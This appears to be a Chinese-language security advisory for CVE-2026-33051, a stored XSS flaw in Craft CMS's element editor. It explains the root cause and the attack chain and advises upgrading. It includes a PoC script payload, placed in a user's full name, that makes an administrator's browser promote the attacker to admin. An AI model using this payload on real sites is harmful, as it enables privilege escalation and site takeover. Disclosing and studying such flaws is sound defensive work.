IPBUF安全漏洞报告
English
CVE-2026-33051 CVSS 5.4 中危

CVE-2026-33051 Craft CMS跨站脚本漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33051
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Craft CMS

相关标签

XSSCraft CMS权限提升CVE-2026-33051Web安全

漏洞概述

Craft CMS在5.9.0-beta.1至5.9.10版本中存在存储型跨站脚本漏洞。漏洞源于元素编辑器在渲染创建者全名时,错误地结合使用了`Template::raw()`和字符串插值,导致未经过滤的HTML输出。低权限用户可将全名修改为恶意脚本。当管理员在登录状态下查看相关内容时触发脚本,导致攻击者获取管理员权限,造成系统被接管。

技术细节

该漏洞位于Craft CMS的元素编辑器组件中,具体涉及修订/草稿上下文菜单的渲染逻辑。开发人员在使用`Template::raw()`函数包装`Craft::t()`的字符串插值结果时,未对用户提供的`fullName`字段进行充分的转义处理,导致该字段被直接作为原始HTML渲染在页面上。

利用该漏洞的攻击链如下:首先,攻击者以低权限用户(如作者)身份登录系统,进入个人资料编辑界面,将“全名”字段修改为包含恶意JavaScript代码的Payload。接着,攻击者创建一个新的内容条目,并执行两次保存操作,以确保系统生成包含该用户信息的修订记录。

当管理员用户登录后台并查看该条目的历史版本或草稿菜单时,系统会调用存在漏洞的渲染逻辑,将攻击者的全名作为HTML解析。此时,恶意脚本将在管理员的浏览器上下文中执行。由于脚本运行在管理员的会话环境中,它可以利用管理员的高权限身份向后端发送请求,例如将攻击者的账户角色直接提升为管理员,从而实现权限提升。

攻击链分析

STEP 1
步骤1
攻击者以低权限用户身份登录Craft CMS。
STEP 2
步骤2
攻击者在个人资料编辑器中将“全名”字段修改为XSS Payload。
STEP 3
步骤3
攻击者创建一个新的内容条目并保存两次,触发系统记录创建者信息。
STEP 4
步骤4
管理员登录并在后台查看该条目的修订/草稿上下文菜单。
STEP 5
步骤5
系统渲染未经过滤的全名,XSS Payload在管理员浏览器中执行,提升攻击者权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-33051: Stored XSS in Craft CMS Description: Set this payload as the user's fullName in the profile editor. Impact: Executes arbitrary JavaScript in the administrator's browser context. --> <script> // Example payload to escalate privileges // Replace ATTACKER_USER_ID with the actual ID of the attacker's account var attackerId = 'ATTACKER_USER_ID'; fetch('/admin/users/save', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' }, // Payload to promote user to admin (simplified structure) body: 'userId=' + attackerId + '&newGroup=admin' }).then(response => { console.log('Privilege escalation attempt completed.'); }); </script>

影响范围

Craft CMS 5.9.0-beta.1 至 5.9.10

防御指南

临时缓解措施
建议管理员立即将Craft CMS升级到5.9.11版本以修复此漏洞。若无法立即升级,应严格限制低权限用户访问控制面板,或监控用户全名字段的异常输入,并在管理员账户上启用多因素认证(MFA)以降低被劫持的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表